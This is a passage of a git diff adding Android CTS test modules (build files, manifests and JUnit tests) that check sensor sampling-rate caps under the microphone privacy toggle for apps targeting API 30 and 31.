+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30"/>
+
+    <application android:label="DirectReportAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.directreportapi30"
+                     android:label="Direct Report API 30">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
new file mode 100644
index 0000000..f294fc2
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.directreportapi30;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.os.SystemClock;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test sampling rate obtained by direct connections when:
+ * - The mic toggle is on and off
+ * - App targets API 30
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped when the toggle is on
+ * - Sampling rate is not capped when the toggle is off
+ */
+@RunWith(Parameterized.class)
+public class DirectReportAPI30Test {
+    private static SensorRatePermissionDirectReportTestHelper mDirectReportTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static SensorManager mSensorManager;
+    private static int mUserID;
+    private final int sensorType;
+
+    public DirectReportAPI30Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionDirectReportTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
+                sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
+        mSensorManager = context.getSystemService(SensorManager.class);
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        // Only run this test if we know for sure that the highest direct report rate level of
+        // corresponds to a sampling rate of > 200 Hz
+        if (mDirectReportTestHelper.getSensor().getHighestDirectReportRateLevel()
+                <= SensorDirectChannel.RATE_FAST) {
+            return;
+        }
+
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenBelowExpectedRate(),
+                obtainedRate > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Test the case where a connection is ongoing while the mic toggle changes its state:
+     * off -> on -> off. This test is to show that the sensor service is able to cap/uncap the
+     * rate of ongoing direct sensor connections when the state of the mic toggle changes.
+     */
+    @Test
+    public void testSamplingRateMicToggleOffOnOff() throws InterruptedException {
+        // Only run this test if we know for sure that the highest direct report rate level of
+        // the sensor corresponds to a sampling rate of > 200 Hz and that the sensor supports
+        // direct channel.
+        Sensor s = mDirectReportTestHelper.getSensor();
+        if (s.getHighestDirectReportRateLevel() <= SensorDirectChannel.RATE_FAST
+                || !s.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)) {
+            return;
+        }
+        // Start with the mic toggle off
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+
+        // Configure a direct channel.
+        int sensorEventCount = 5500; // 800 Hz * 2.5s  + 200 Hz * 2.5s + extra
+        int sharedMemorySize = sensorEventCount *
+                SensorRatePermissionDirectReportTestHelper.SENSORS_EVENT_SIZE;
+        HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                sharedMemorySize, 1, HardwareBuffer.BLOB, 1,
+                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                        | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+        SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+        int token = channel.configure(s, SensorDirectChannel.RATE_VERY_FAST);
+
+        // Flip the mic toggle on
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        long startMicToggleOn = SystemClock.elapsedRealtimeNanos();
+        SensorCtsHelper.sleep(
+                SensorRatePermissionDirectReportTestHelper.TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                TimeUnit.MILLISECONDS);
+        long endMicToggleOn = SystemClock.elapsedRealtimeNanos();
+
+        // Flip the mic toggle off
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        long startMicToggleOff = SystemClock.elapsedRealtimeNanos();
+        SensorCtsHelper.sleep(
+                SensorRatePermissionDirectReportTestHelper.TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                TimeUnit.MILLISECONDS);
+
+        // Read the sensor events out
+        channel.configure(s, SensorDirectChannel.RATE_STOP);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.readEventsFromHardwareBuffer(token,
+                        hardwareBuffer, sensorEventCount);
+        channel.close();
+        hardwareBuffer.close();
+
+        // Check the sampling rates when the mic toggle were on and off
+        double rateWhenMicToggleOn =
+                SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                        startMicToggleOn, endMicToggleOn);
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                rateWhenMicToggleOn
+                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        double rateWhenMicToggleOff = SensorRatePermissionDirectReportTestHelper.computeAvgRate(
+                events, startMicToggleOff, Long.MAX_VALUE);
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenBelowExpectedRate(),
+                rateWhenMicToggleOff
+                        > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp b/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp
new file mode 100644
index 0000000..c10e0bf
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDirectReportAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..b72f953
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.directreportapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="DirectReportAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.directreportapi31"
+                     android:label="Direct Report API 31">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
new file mode 100644
index 0000000..ff6d658
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.directreportapi31;
+
+import android.content.Context;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test sampling rates obtained by direct connections when:
+ * - The mic toggle is on.
+ * - App targets API 31 (w/o having HIGH_SAMPLING_RATE_SENSORS permission)
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped, regardless of the state of the toggle
+ */
+@RunWith(Parameterized.class)
+public class DirectReportAPI31Test {
+    private static SensorRatePermissionDirectReportTestHelper mDirectReportTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public DirectReportAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
+                sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp b/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp
new file mode 100644
index 0000000..fa2436e
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionEventConnectionAPI30",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml
new file mode 100755
index 0000000..75fe78a
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.eventconnectionapi30"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30"/>
+
+    <application android:label="EventConnectionAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.eventconnectionapi30"
+                     android:label="EventConnection API 30">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
new file mode 100644
index 0000000..18e308e
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.eventconnectionapi30;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.hardware.cts.helpers.TestSensorEventListener;
+import android.hardware.cts.helpers.TestSensorManager;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Test sampling rates obtained by event connections:
+ * - App targets API 30
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped if the mic toggle is on
+ * - Sampling rate is not capped if the mic toggle is off
+ */
+@RunWith(Parameterized.class)
+public class EventConnectionAPI30Test {
+    private static final int NUM_EVENTS_COUNT = 1024;
+
+    private static SensorRatePermissionEventConnectionTestHelper mEventConnectionTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static TestSensorEnvironment mTestEnvironment;
+    private static int mUncappedMinDelayMicros;
+    private static int mCappedMinDelayMicros;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public EventConnectionAPI30Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        SensorManager sensorManager = context.getSystemService(SensorManager.class);
+        Sensor sensor = sensorManager.getDefaultSensor(sensorType);
+        Assume.assumeTrue("Failed to find a sensor!", sensor != null);
+
+        mTestEnvironment = new TestSensorEnvironment(
+                context,
+                sensor,
+                SensorManager.SENSOR_DELAY_FASTEST,
+                (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
+        mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
+                mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        // In context of this app (targetSDK = 30), this returns the original supported min delay
+        // of the sensor
+        mUncappedMinDelayMicros = mTestEnvironment.getSensor().getMinDelay();
+        mCappedMinDelayMicros = (int) TimeUnit.SECONDS.toMicros(1)
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        // Only run this test if minDelay of the sensor is smaller than the capped min delay
+        if (mUncappedMinDelayMicros >= mCappedMinDelayMicros) {
+            return;
+        }
+
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(
+                true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenBelowExpectedRate(),
+                obtainedRate
+                        > SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(
+                true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Test the case where a connection is ongoing while the mic toggle changes its state:
+     * off -> on -> off. This test is to show that the sensor service is able to cap/uncap the
+     * rate of ongoing SensorEventConnections when the state of the mic toggle changes.
+     */
+    @Test
+    public void testSamplingRateMicToggleOffOnOff() throws InterruptedException {
+        // Only run this test if minDelay of the sensor is smaller than the capped min delay
+        if (mUncappedMinDelayMicros >= mCappedMinDelayMicros) {
+            return;
+        }
+        // Start with the mic toggle off
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        // Register a listener
+        TestSensorEventListener listener = new TestSensorEventListener(mTestEnvironment);
+        TestSensorManager testSensorManager = new TestSensorManager(mTestEnvironment);
+        testSensorManager.registerListener(listener);
+
+        // Flip the mic toggle on and clear all the events so far.
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        listener.clearEvents();
+
+        // Wait for 1000 events and check the sampling rates.
+        CountDownLatch eventLatch = listener.getLatchForSensorEvents(1000 /*numOfEvents*/);
+        listener.waitForEvents(eventLatch, 1000 /*numOfEvents*/, false);
+        List<TestSensorEvent> events = listener.getCollectedEvents();
+        double rateWhenMicToggleOn =
+                SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                        Long.MIN_VALUE, Long.MAX_VALUE);
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                rateWhenMicToggleOn
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        // Flip the mic toggle off, clear all the events so far.
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        listener.clearEvents();
+
+        // Wait for 2000 events and check the sampling rates.
+        eventLatch = listener.getLatchForSensorEvents(2000 /*numOfEvents*/);
+        listener.waitForEvents(eventLatch, 2000 /*numOfEvents*/, false);
+        events = listener.getCollectedEvents();
+        double rateWhenMicToggleOff = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(
+                events, Long.MIN_VALUE, Long.MAX_VALUE);
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenBelowExpectedRate(),
+                rateWhenMicToggleOff
+                        > SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        listener.clearEvents();
+        testSensorManager.unregisterListener();
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp b/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp
new file mode 100644
index 0000000..fdf285c
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionEventConnectionAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..c517a6d
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.eventconnectionapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="EventConnectionAPI31">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.eventconnectionapi31"
+                     android:label="Event Connection API 31">
+    </instrumentation>
+</manifest>
